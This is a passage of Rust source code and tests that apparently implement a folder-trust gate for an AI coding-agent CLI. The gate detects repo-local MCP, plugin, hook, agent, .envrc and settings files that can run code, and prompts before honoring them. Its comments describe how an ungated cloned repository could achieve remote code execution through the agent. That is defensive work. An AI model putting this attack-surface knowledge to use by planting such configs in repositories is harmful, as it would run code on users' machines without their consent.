.feature_flag(remote.and_then(|r| r.folder_trust_enabled))
|
||||
.default(true)
|
||||
.resolve()
|
||||
.value
|
||||
}
|
||||
|
||||
/// Persist an explicit `--trust` grant for `cwd`'s workspace so repo-local
|
||||
/// servers are honored on the next resolve. Done client-side because trust is
|
||||
/// durable: even when the agent runs in a separate leader process it reads the
|
||||
/// same `~/.kigi/trusted_folders.toml`. Best-effort; a write failure is logged,
|
||||
/// not fatal.
|
||||
pub fn grant_folder_trust(cwd: &Path) {
|
||||
// Local/dev builds never gate, so there is nothing to grant: `--trust` is a
|
||||
// no-op and the store is left untouched (the whole feature is inert).
|
||||
if folder_trust_inert() {
|
||||
return;
|
||||
}
|
||||
persist_trust(&mut TrustStore::load(), &workspace_key(cwd));
|
||||
}
|
||||
|
||||
/// Store-only half of revoking trust for `cwd`'s workspace: persist an explicit
|
||||
/// `set_untrusted` ONLY when the folder was actually trusted, and report whether
|
||||
/// it had been trusted. The in-process `DECISIONS` cache downgrade is the shell
|
||||
/// wrapper's job (the cache lives there).
|
||||
///
|
||||
/// Writing a store deny for a never-trusted folder would record a most-specific
|
||||
/// child DENY that poisons a future ancestor `set_trusted` cascade — so that
|
||||
/// write stays gated. Symmetric with [`grant_folder_trust`].
|
||||
pub fn revoke_folder_trust_store(cwd: &Path) -> bool {
|
||||
// Local/dev builds never wrote the store, so there is nothing to revoke.
|
||||
if folder_trust_inert() {
|
||||
return false;
|
||||
}
|
||||
let key = workspace_key(cwd);
|
||||
let mut store = TrustStore::load();
|
||||
let was_trusted = store.is_trusted(&key);
|
||||
// Persist an explicit deny ONLY for an actually-trusted folder: writing one
|
||||
// for a never-trusted folder would record a most-specific child DENY that
|
||||
// overrides a future ancestor `set_trusted` grant (cascade poisoning).
|
||||
if was_trusted && let Err(e) = store.set_untrusted(&key) {
|
||||
tracing::warn!(
|
||||
path = %key.display(),
|
||||
error = %e,
|
||||
"folder trust: failed to persist untrust decision"
|
||||
);
|
||||
}
|
||||
was_trusted
|
||||
}
|
||||
|
||||
pub fn persist_trust(store: &mut TrustStore, key: &Path) {
|
||||
if let Err(e) = store.set_trusted(key) {
|
||||
tracing::warn!(
|
||||
path = %key.display(),
|
||||
error = %e,
|
||||
"folder trust: failed to persist trust decision"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether any repo-local code-exec config is present for `cwd`. When none are
|
||||
/// present there is nothing to gate, so we skip the prompt entirely.
|
||||
///
|
||||
/// Thin wrapper over [`collect_repo_config_kinds`] with `first_only = true`, so
|
||||
/// the gate and the display-only [`repo_config_kinds`] enumerate the EXACT same
|
||||
/// markers (they cannot drift) while this hot path still short-circuits on the
|
||||
/// first hit.
|
||||
pub fn repo_configs_present(cwd: &Path) -> bool {
|
||||
!collect_repo_config_kinds(cwd, true).is_empty()
|
||||
}
|
||||
|
||||
/// Display-only: which repo-local code-exec config KINDS are present for `cwd`
|
||||
/// (`mcp`, `plugins`, `lsp`, `envrc`, `claude`, `hooks`, `agents`), deduped in
|
||||
/// cheap→expensive marker order. Single source with [`repo_configs_present`]
|
||||
/// (which is `!repo_config_kinds(cwd).is_empty()`), so a folder that the gate
|
||||
/// fired on always has a non-empty, accurate kind list — no `[plugins].paths` /
|
||||
/// `.claude` / `.kigi/agents` / subdir-launch gaps. NOT itself the trust gate.
|
||||
pub fn repo_config_kinds(cwd: &Path) -> Vec<&'static str> {
|
||||
collect_repo_config_kinds(cwd, false)
|
||||
}
|
||||
|
||||
/// Shared scanner behind [`repo_configs_present`] and [`repo_config_kinds`]. With
|
||||
/// `first_only` it returns immediately after the first marker (the gate's
|
||||
/// historical short-circuit); otherwise it collects every distinct kind.
|
||||
fn collect_repo_config_kinds(cwd: &Path, first_only: bool) -> Vec<&'static str> {
|
||||
// Resolve the git root + cwd→root dir chain ONCE and reuse it across the
|
||||
// git2-based marker checks below: this gate does 1 git2 discover + 1 git2
|
||||
// walk (+ the settings-compat path's own cheap `.git`-existence walk, intentionally separate —
|
||||
// see its check). Each walker used to run its own git2 discover + walk (~5
|
||||
// discovers), and on a non-git dir each discover walks to the filesystem root
|
||||
// — wasteful anywhere, and Windows taxes every such syscall 10-100x.
|
||||
// Cheap→expensive, short-circuiting on first hit when `first_only`.
|
||||
let chain = kigi_agent::repo::RepoDirChain::resolve(cwd);
|
||||
let mut kinds: Vec<&'static str> = Vec::new();
|
||||
// Record a distinct kind; when `first_only`, return as soon as one is found
|
||||
// (preserves the gate's first-hit short-circuit exactly).
|
||||
macro_rules! hit {
|
||||
($k:expr) => {{
|
||||
let k: &'static str = $k;
|
||||
if !kinds.contains(&k) {
|
||||
kinds.push(k);
|
||||
}
|
||||
if first_only {
|
||||
return kinds;
|
||||
}
|
||||
}};
|
||||
}
|
||||
|
||||
// `.mcp.json` anywhere from repo root down to cwd.
|
||||
if !crate::project_config::find_mcp_json_files_in(&chain.dirs).is_empty() {
|
||||
hit!("mcp");
|
||||
}
|
||||
// Project `.kigi/config.toml` declaring repo-controlled code-exec: a
|
||||
// non-empty `[mcp_servers]` table OR a non-empty `[plugins].paths` array.
|
||||
// `[plugins].paths` loads as auto-trusted ConfigPath plugins, so a clone
|
||||
// whose ONLY repo-local config is `[plugins].paths` must still be gated
|
||||
// (else it resolves Trusted and the paths merge runs ungated => RCE).
|
||||
for path in crate::project_config::find_project_configs_in(&chain.dirs) {
|
||||
let Ok(root) = kigi_config::load_config_file(&path) else {
|
||||
continue;
|
||||
};
|
||||
let has_mcp_servers = root
|
||||
.get("mcp_servers")
|
||||
.and_then(|v| v.as_table())
|
||||
.is_some_and(|t| !t.is_empty());
|
||||
let has_plugin_paths = root
|
||||
.get("plugins")
|
||||
.and_then(|v| v.get("paths"))
|
||||
.and_then(|v| v.as_array())
|
||||
.is_some_and(|a| !a.is_empty());
|
||||
if has_mcp_servers {
|
||||
hit!("mcp");
|
||||
}
|
||||
if has_plugin_paths {
|
||||
hit!("plugins");
|
||||
}
|
||||
}
|
||||
// Project `.kigi/lsp.json`.
|
||||
if cwd.join(".kigi").join("lsp.json").is_file() {
|
||||
hit!("lsp");
|
||||
}
|
||||
// Project `.cursor/mcp.json` — vendor MCP loading is default-on and tagged
|
||||
// `Project`, so a repo shipping ONLY this file must still be gated. (File
|
||||
// presence is enough; if the `.cursor` compat flag is off the servers won't
|
||||
// spawn and gating is a harmless no-op.)
|
||||
if cwd.join(".cursor").join("mcp.json").is_file() {
|
||||
hit!("mcp");
|
||||
}
|
||||
// Project `.envrc` — auto-sourced in a bash subshell when `direnv` isn't
|
||||
// installed (direct code-exec), so an `.envrc`-only clone must still be
|
||||
// gated. The loader reads `<cwd>/.envrc` directly (NOT a git-root walk), so
|
||||
// probe at cwd to match exactly what gets executed.
|
||||
if cwd.join(".envrc").is_file() {
|
||||
hit!("envrc");
|
||||
}
|
||||
// Project `.claude/settings.json` / `settings.local.json`: the hooks surface
|
||||
// reads these at the git root, but the ENV/permission loaders walk EVERY dir
|
||||
// cwd→repo-root (`collect_project_claude_paths`), so detect along the SAME
|
||||
// walk via the shared reader — else a `.claude` `env` in a SUBDIR (injected
|
||||
// into every spawned subprocess) loads ungated. Subsumes the git-root probe.
|
||||
// Keeps its own `.git`-existence walk (NOT the git2 chain) so detection stays
|
||||
// identical to the loader, which bounds on a bare/empty `.git` too.
|
||||
if crate::permission::claude_settings::project_claude_settings_present(cwd) {
|
||||
hit!("claude");
|
||||
}
|
||||
// Other project HOOK sources are resolved from the git worktree root only
|
||||
// (the chain's `git_root`, the same root hook discovery resolves from via
|
||||
// `workspace_key`), NOT cwd, so root-level hooks are gated even when launched
|
||||
// from a subdir. A repo-local hook file/dir is repo-controlled code-exec that
|
||||
// must be gated — else a hooks-only clone (e.g. `.kigi/hooks/evil.json`) would
|
||||
// resolve trusted and run ungated. Presence mirrors discovery's "something to
|
||||
// gate" check.
|
||||
let hook_root = chain.git_root.as_deref().unwrap_or(cwd);
|
||||
if hook_root.join(".kigi").join("hooks").is_dir()
|
||||
|| hook_root.join(".cursor").join("hooks.json").is_file()
|
||||
{
|
||||
hit!("hooks");
|
||||
}
|
||||
// Project PLUGIN dirs: project-scoped plugins are unified under folder-trust
|
||||
// too, so a repo-local plugin dir is repo-controlled code-exec (hooks/MCP)
|
||||
// that must be gated — else a plugin clone (e.g. `.kigi/plugins/evil/`, even
|
||||
// one in a subdir launched via `cd sub && grok`) would resolve trusted and
|
||||
// run ungated. Uses the shared SSOT walk (cwd→git root) so detection matches
|
||||
// exactly what `discover_plugins` scans for Project scope (errs secure).
|
||||
if !kigi_agent::plugins::project_plugin_dirs_in(&chain.dirs).is_empty() {
|
||||
hit!("plugins");
|
||||
}
|
||||
// Project AGENT dirs (`.kigi/agents` / `.claude/agents`): a project agent
|
||||
// definition can carry an inline `hooks:` block (repo-controlled code-exec)
|
||||
// AND can SHADOW a built-in subagent by name, so an agents-only clone must
|
||||
// still be gated. Uses the shared SSOT walk (cwd→git root) so detection
|
||||
// can't drift from agent discovery — same pattern as the plugin line above.
|
||||
if !kigi_agent::discovery::project_agent_dirs_in(&chain.dirs).is_empty() {
|
||||
hit!("agents");
|
||||
}
|
||||
// `~/.claude.json` `projects.<cwd>.mcpServers`.
|
||||
if claude_project_mcp_present(cwd) {
|
||||
hit!("mcp");
|
||||
}
|
||||
kinds
|
||||
}
|
||||
|
||||
/// Display names under `~/.claude.json projects.<cwd>.mcpServers`, or `None`
|
||||
/// when the file/entry is absent or the object is empty. Single reader that both
|
||||
/// [`claude_project_mcp_present`] (existence) and the shell's
|
||||
/// `project_scoped_mcp_names` (the names) derive from, so the two never drift.
|
||||
pub fn claude_project_mcp_names(cwd: &Path) -> Option<Vec<String>> {
|
||||
let home = dirs::home_dir()?;
|
||||
let content = std::fs::read_to_string(home.join(".claude.json")).ok()?;
|
||||
let value = serde_json::from_str::<serde_json::Value>(&content).ok()?;
|
||||
let cwd_key = cwd.to_string_lossy();
|
||||
let names: Vec<String> = value
|
||||
.get("projects")
|
||||
.and_then(|p| p.get(cwd_key.as_ref()))
|
||||
.and_then(|proj| proj.get("mcpServers"))
|
||||
.and_then(|m| m.as_object())
|
||||
.map(|m| m.keys().cloned().collect())
|
||||
.unwrap_or_default();
|
||||
(!names.is_empty()).then_some(names)
|
||||
}
|
||||
|
||||
fn claude_project_mcp_present(cwd: &Path) -> bool {
|
||||
claude_project_mcp_names(cwd).is_some()
|
||||
}
|
||||
|
||||
fn is_interactive() -> bool {
|
||||
std::io::stdin().is_terminal() && std::io::stderr().is_terminal()
|
||||
}
|
||||
|
||||
/// MVP trust prompt: a plain stderr warning + stdin y/N read.
|
||||
///
|
||||
/// Defaults to NO on empty input, EOF, or any non-yes answer. Deliberately
|
||||
/// minimal (no ACP modal); a richer modal is a future follow-up.
|
||||
pub fn prompt_for_trust(key: &Path) -> bool {
|
||||
use std::io::{BufRead, Write};
|
||||
|
||||
let mut err = std::io::stderr();
|
||||
let _ = writeln!(err);
|
||||
let _ = writeln!(
|
||||
err,
|
||||
"This folder contains repo-local config (.mcp.json / .kigi/lsp.json / hooks) \
|
||||
that can run commands on your machine."
|
||||
);
|
||||
let _ = writeln!(err, " Folder: {}", key.display());
|
||||
let _ = write!(
|
||||
err,
|
||||
"Trust the authors of this folder and allow these servers to start? [y/N] "
|
||||
);
|
||||
let _ = err.flush();
|
||||
|
||||
let mut line = String::new();
|
||||
match std::io::stdin().lock().read_line(&mut line) {
|
||||
Ok(0) | Err(_) => false,
|
||||
Ok(_) => matches!(line.trim().to_ascii_lowercase().as_str(), "y" | "yes"),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn inputs() -> DecideInputs {
|
||||
DecideInputs {
|
||||
store_trusted: false,
|
||||
repo_configs_present: true,
|
||||
is_interactive: false,
|
||||
// Default: a normal (recordable) key, so the Case-2 rule doesn't fire
|
||||
// and every `..inputs()` spread exercises the pre-existing precedence.
|
||||
key_recordable: true,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn feature_off_is_always_trusted() {
|
||||
// Even with everything pointing to untrusted, feature off => trusted.
|
||||
assert_eq!(decide(false, &inputs()), TrustOutcome::Trusted);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn store_trusted_is_trusted() {
|
||||
let i = DecideInputs {
|
||||
store_trusted: true,
|
||||
..inputs()
|
||||
};
|
||||
assert_eq!(decide(true, &i), TrustOutcome::Trusted);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_repo_configs_is_trusted_without_prompt() {
|
||||
let i = DecideInputs {
|
||||
repo_configs_present: false,
|
||||
is_interactive: true,
|
||||
..inputs()
|
||||
};
|
||||
// Nothing to gate => trusted, and crucially NOT Prompt.
|
||||
assert_eq!(decide(true, &i), TrustOutcome::Trusted);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn interactive_with_configs_prompts() {
|
||||
let i = DecideInputs {
|
||||
is_interactive: true,
|
||||
..inputs()
|
||||
};
|
||||
assert_eq!(decide(true, &i), TrustOutcome::Prompt);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn headless_with_configs_is_untrusted() {
|
||||
assert_eq!(decide(true, &inputs()), TrustOutcome::Untrusted);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn unrecordable_key_is_trusted_even_with_configs_and_interactive() {
|
||||
// Case 2: cwd == $HOME (or fs-root / non-absolute). The store can't record
|
||||
// such a key, so gating would re-prompt forever — decide() trusts it,
|
||||
// ahead of the repo-configs and interactive rules.
|
||||
let i = DecideInputs {
|
||||
store_trusted: false,
|
||||
repo_configs_present: true,
|
||||
is_interactive: true,
|
||||
key_recordable: false,
|
||||
};
|
||||
assert_eq!(decide(true, &i), TrustOutcome::Trusted);
|
||||
}
|
||||
|
||||
/// A `git init`'d temp dir so `find_mcp_json_files` / `find_project_configs`
|
||||
/// (which discover the enclosing repo and walk to its root) are bounded to
|
||||
/// the temp dir instead of any ancestor repo the system temp dir lives in.
|
||||
fn repo_tmp() -> tempfile::TempDir {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
git2::Repository::init(tmp.path()).unwrap();
|
||||
tmp
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_false_when_empty() {
|
||||
let tmp = repo_tmp();
|
||||
assert!(!repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_mcp_json() {
|
||||
let tmp = repo_tmp();
|
||||
std::fs::write(tmp.path().join(".mcp.json"), "{}").unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_grok_config_mcp_servers() {
|
||||
let tmp = repo_tmp();
|
||||
let grok = tmp.path().join(".kigi");
|
||||
std::fs::create_dir_all(&grok).unwrap();
|
||||
std::fs::write(grok.join("config.toml"), "[mcp_servers.x]\ncommand=\"y\"\n").unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_grok_lsp_json() {
|
||||
let tmp = repo_tmp();
|
||||
let grok = tmp.path().join(".kigi");
|
||||
std::fs::create_dir_all(&grok).unwrap();
|
||||
std::fs::write(grok.join("lsp.json"), "{}").unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_cursor_mcp_json() {
|
||||
let tmp = repo_tmp();
|
||||
let cursor = tmp.path().join(".cursor");
|
||||
std::fs::create_dir_all(&cursor).unwrap();
|
||||
std::fs::write(cursor.join("mcp.json"), "{}").unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_envrc() {
|
||||
// An `.envrc`-only clone is auto-sourced in a bash subshell (direct RCE),
|
||||
// so it must resolve untrusted even though it has no MCP/LSP/hook configs.
|
||||
let tmp = repo_tmp();
|
||||
std::fs::write(tmp.path().join(".envrc"), "export FOO=bar\n").unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_project_agents() {
|
||||
// A `.kigi/agents`-only clone must be gated: a project agent definition
|
||||
// can carry an inline `hooks:` block (code-exec) and can shadow a built-in
|
||||
// subagent by name.
|
||||
let tmp = repo_tmp();
|
||||
std::fs::create_dir_all(tmp.path().join(".kigi").join("agents")).unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_claude_agents() {
|
||||
// `.claude/agents` is the vendor-compat project agent dir; same gate.
|
||||
let tmp = repo_tmp();
|
||||
std::fs::create_dir_all(tmp.path().join(".claude").join("agents")).unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_project_agents_from_subdir() {
|
||||
// Agents live at the git root but the session is launched from a subdir;
|
||||
// detection walks cwd→git root exactly like agent discovery, so it must
|
||||
// still fire (a cwd-only probe would miss it).
|
||||
let tmp = repo_tmp();
|
||||
std::fs::create_dir_all(tmp.path().join(".kigi").join("agents")).unwrap();
|
||||
let subdir = tmp.path().join("crates").join("inner");
|
||||
std::fs::create_dir_all(&subdir).unwrap();
|
||||
assert!(repo_configs_present(&subdir));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_claude_settings_from_subdir() {
|
||||
// A `.claude/settings.json` `env` in a SUBDIR (no other repo config),
|
||||
// launched from that subdir, must be detected: the env loader walks
|
||||
// cwd→repo-root, so detection walks the same path (a git-root-only probe
|
||||
// would miss it and leave the env injectable ungated).
|
||||
let tmp = repo_tmp();
|
||||
let subdir = tmp.path().join("crates").join("inner");
|
||||
let claude = subdir.join(".claude");
|
||||
std::fs::create_dir_all(&claude).unwrap();
|
||||
std::fs::write(claude.join("settings.json"), r#"{"env":{"X":"1"}}"#).unwrap();
|
||||
assert!(repo_configs_present(&subdir));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_project_hooks() {
|
||||
// A hooks-only repo (no MCP/LSP configs) must still be gated, so its
|
||||
// project hooks don't run ungated when the folder is untrusted.
|
||||
let tmp = repo_tmp();
|
||||
std::fs::create_dir_all(tmp.path().join(".kigi").join("hooks")).unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_project_hooks_from_subdir() {
|
||||
// Hooks live at the git root but the session is launched from a subdir;
|
||||
// the gate must still fire because discovery resolves hooks from the root
|
||||
// (the cwd-relative check this regresses would miss it).
|
||||
let tmp = repo_tmp();
|
||||
std::fs::create_dir_all(tmp.path().join(".kigi").join("hooks")).unwrap();
|
||||
let subdir = tmp.path().join("crates").join("inner");
|
||||
std::fs::create_dir_all(&subdir).unwrap();
|
||||
assert!(repo_configs_present(&subdir));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_project_plugins() {
|
||||
// A plugin-only repo (no MCP/LSP/hooks configs) must still be gated, so a
|
||||
// project plugin's hooks/MCP don't run ungated when the folder is untrusted.
|
||||
let tmp = repo_tmp();
|
||||
std::fs::create_dir_all(tmp.path().join(".kigi").join("plugins").join("x")).unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_project_plugins_in_subdir() {
|
||||
// A plugin under a subdir (root otherwise clean), launched from that
|
||||
// subdir, must still be gated: detection walks cwd→git root exactly like
|
||||
// discover_plugins, so a subdir-only plugin is not a fail-open hole.
|
||||
let tmp = repo_tmp();
|
||||
let subdir = tmp.path().join("packages").join("foo");
|
||||
std::fs::create_dir_all(subdir.join(".kigi").join("plugins").join("evil")).unwrap();
|
||||
assert!(repo_configs_present(&subdir));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_false_for_empty_mcp_servers_table() {
|
||||
// A project config whose `[mcp_servers]` table is empty has nothing to
|
||||
// gate, so it must not trip the gate.
|
||||
let tmp = repo_tmp();
|
||||
let grok = tmp.path().join(".kigi");
|
||||
std::fs::create_dir_all(&grok).unwrap();
|
||||
std::fs::write(grok.join("config.toml"), "[mcp_servers]\n").unwrap();
|
||||
assert!(!repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_detects_grok_config_plugins_paths() {
|
||||
// A repo whose ONLY repo-local config is `[plugins].paths` (no plugin
|
||||
// dir, no MCP/LSP/hooks) must still be gated: those paths load as
|
||||
// auto-trusted ConfigPath plugins, so an ungated clone is a live RCE.
|
||||
let tmp = repo_tmp();
|
||||
let grok = tmp.path().join(".kigi");
|
||||
std::fs::create_dir_all(&grok).unwrap();
|
||||
std::fs::write(grok.join("config.toml"), "[plugins]\npaths = [\"./x\"]\n").unwrap();
|
||||
assert!(repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_configs_present_false_for_empty_plugins_paths() {
|
||||
// An empty `[plugins].paths` (or a `[plugins]` table without `paths`)
|
||||
// contributes no plugin code-exec, so it must not trip the gate.
|
||||
let tmp = repo_tmp();
|
||||
let grok = tmp.path().join(".kigi");
|
||||
std::fs::create_dir_all(&grok).unwrap();
|
||||
std::fs::write(grok.join("config.toml"), "[plugins]\npaths = []\n").unwrap();
|
||||
assert!(!repo_configs_present(tmp.path()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn repo_config_kinds_matches_gate_and_reports_all_kinds() {
|
||||
// SSOT guard: `repo_config_kinds` (full scan) must agree with the gate
|
||||
// (`repo_configs_present == !repo_config_kinds(..).is_empty()`) AND report
|
||||
// the kinds the single-source refactor added — `plugins` via
|
||||
// `[plugins].paths`, `claude` via `.claude/settings.json`, `agents` via
|
||||
// `.kigi/agents` — even when launched from a SUBDIR (the cwd→git-root walk
|
||||
// that `first_only` shares). Guards against silent drift between the two.
|
||||
let tmp = repo_tmp();
|
||||
let grok = tmp.path().join(".kigi");
|
||||
std::fs::create_dir_all(grok.join("agents")).unwrap();
|
||||
std::fs::write(grok.join("config.toml"), "[plugins]\npaths = [\"./x\"]\n").unwrap();
|
||||
let claude = tmp.path().join(".claude");
|
||||
std::fs::create_dir_all(&claude).unwrap();
|
||||
std::fs::write(claude.join("settings.json"), r#"{"env":{"X":"1"}}"#).unwrap();
|
||||
// Launch from a subdir: the walk must still find the root-level markers.
|
||||
let subdir = tmp.path().join("crates").join("inner");
|
||||
std::fs::create_dir_all(&subdir).unwrap();
|
||||
|
||||
let kinds = repo_config_kinds(&subdir);
|
||||
for expected in ["plugins", "claude", "agents"] {
|
||||
assert!(
|
||||
kinds.contains(&expected),
|
||||
"repo_config_kinds missing {expected:?} (subdir launch); got {kinds:?}"
|
||||
);
|
||||
}
|
||||
// Gate ↔ kinds equivalence: a configured repo and an empty one.
|
||||
assert_eq!(
|
||||
repo_configs_present(&subdir),
|
||||
!repo_config_kinds(&subdir).is_empty(),
|
||||
"gate must equal !kinds.is_empty() for a configured repo"
|
||||
);
|
||||
let empty = repo_tmp();
|
||||
assert!(!repo_configs_present(empty.path()));
|
||||
assert!(repo_config_kinds(empty.path()).is_empty());
|
||||
assert_eq!(
|
||||
repo_configs_present(empty.path()),
|
||||
!repo_config_kinds(empty.path()).is_empty(),
|
||||
"gate must equal !kinds.is_empty() for an empty repo"
|
||||
);
|
||||
}
|
||||
|
||||
// KIGI_SHARE_DIR-isolation idiom mirrored from this crate's `permission::claude_compat`
|
||||
// tests (the workspace crate has no `serial_test`/`kigi-test-support`
|
||||
// dev-dep): nextest runs each test in its own process; `ENV_LOCK` serializes
|
||||
// the rare in-process `cargo test` thread, and `EnvVarGuard` restores the prior
|
||||
// value on drop so a panic can't leak state. The lock is crate-shared so it
|
||||
// also serializes against the other env-mutating test modules (e.g. `trust`,
|
||||
// `worktree`) under single-process `cargo test --lib`.
|
||||
use crate::ENV_TEST_LOCK as ENV_LOCK;
|
||||
|
||||
// The crate-shared generic env-var guard (one definition in `lib.rs`),
|
||||
// aliased here so the existing `EnvVarGuard::set/unset` call sites are unchanged.
|
||||
use crate::TestEnvGuard as EnvVarGuard;
|
||||
|
||||
/// Simulate a release-stamped build so store I/O runs (a local/dev build makes
|
||||
/// grant/revoke no-ops). Hold the returned guard for the test body.
|
||||
fn simulate_release_build() -> EnvVarGuard {
|
||||
EnvVarGuard::set(kigi_version::TEST_VERSION_ENV, Path::new("0.0.0-sim"))
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn local_build_ignores_remote_rollout() {
|
||||
// A local/dev build never gates (auto-trust): even a remote rollout enable
|
||||
// is ignored, so the feature stays off and resolves Trusted with repo
|
||||
// configs present + interactive. (Env/config isolated to unset so the
|
||||
// remote flag is unambiguously the only enable being dropped here.)
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||||
let _flag = EnvVarGuard::unset("KIGI_FOLDER_TRUST");
|
||||
|
||||
let remote = RemoteSettings {
|
||||
folder_trust_enabled: Some(true),
|
||||
..Default::default()
|
||||
};
|
||||
let feature = feature_enabled_for_build(Some(&remote), true);
|
||||
assert!(!feature);
|
||||
let i = DecideInputs {
|
||||
is_interactive: true,
|
||||
..inputs()
|
||||
};
|
||||
assert_eq!(decide(feature, &i), TrustOutcome::Trusted);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn release_build_keeps_gate_when_enabled() {
|
||||
// A release-stamped build (is_local_build=false) honors the remote enable,
|
||||
// keeping today's gate. Isolate config so neither on-disk user/managed
|
||||
// config nor an ambient env flag can override it: empty KIGI_SHARE_DIR (no
|
||||
// config.toml/managed_config.toml) + KIGI_FOLDER_TRUST unset. nextest's
|
||||
// process-per-test makes kigi_home()'s OnceLock pick up the temp dir.
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||||
let _flag = EnvVarGuard::unset("KIGI_FOLDER_TRUST");
|
||||
|
||||
let remote = RemoteSettings {
|
||||
folder_trust_enabled: Some(true),
|
||||
..Default::default()
|
||||
};
|
||||
let feature = feature_enabled_for_build(Some(&remote), false);
|
||||
assert!(feature);
|
||||
let i = DecideInputs {
|
||||
is_interactive: true,
|
||||
..inputs()
|
||||
};
|
||||
assert_eq!(decide(feature, &i), TrustOutcome::Prompt);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn local_build_ignores_explicit_env_optin() {
|
||||
// Auto-trust is absolute on a local build: even an explicit
|
||||
// KIGI_FOLDER_TRUST=1 does NOT enable the feature (so a self-built grok
|
||||
// never prompts). KIGI_SHARE_DIR isolated so on-disk config can't influence it.
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||||
let _flag = EnvVarGuard::set("KIGI_FOLDER_TRUST", Path::new("1"));
|
||||
|
||||
assert!(!feature_enabled_for_build(None, true));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn release_build_defaults_on() {
|
||||
// A release-stamped build with no env/config/managed/remote signal defaults
|
||||
// the feature ON. Empty KIGI_SHARE_DIR (no config.toml/managed config) +
|
||||
// KIGI_FOLDER_TRUST unset so only the default applies.
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||||
let _flag = EnvVarGuard::unset("KIGI_FOLDER_TRUST");
|
||||
|
||||
assert!(feature_enabled_for_build(None, false));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_local_build_honors_test_version_override() {
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
// A pinned KIGI_TEST_VERSION simulates a release build => not a local build.
|
||||
{
|
||||
let _sim = EnvVarGuard::set(kigi_version::TEST_VERSION_ENV, Path::new("0.0.0-sim"));
|
||||
assert!(!is_local_build());
|
||||
}
|
||||
// With it unset, an unstamped build (no KIGI_VERSION) is a local build.
|
||||
// Guard to the unstamped case so a release-stamped test binary (CI release)
|
||||
// doesn't spuriously fail this arm.
|
||||
let _unset = EnvVarGuard::unset(kigi_version::TEST_VERSION_ENV);
|
||||
if option_env!("KIGI_VERSION").is_none() {
|
||||
assert!(is_local_build());
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn store_io_is_noop_on_local_build() {
|
||||
// On a local/dev build the whole feature is inert. Both halves pin a guard
|
||||
// via a UNIQUE per-repo key (never store-file existence) so they hold under
|
||||
// single-process `cargo test` too. Assert ONLY when compiled unstamped
|
||||
// (mirrors `is_local_build_honors_test_version_override`); KIGI_SHARE_DIR-isolated
|
||||
// and ENV_LOCK-serialized so toggling KIGI_TEST_VERSION is race-safe.
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let _home = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||||
let _unset = EnvVarGuard::unset(kigi_version::TEST_VERSION_ENV);
|
||||
if option_env!("KIGI_VERSION").is_some() {
|
||||
return; // a release-stamped test binary is not a local build
|
||||
}
|
||||
let tmp = repo_tmp();
|
||||
let key = workspace_key(tmp.path());
|
||||
|
||||
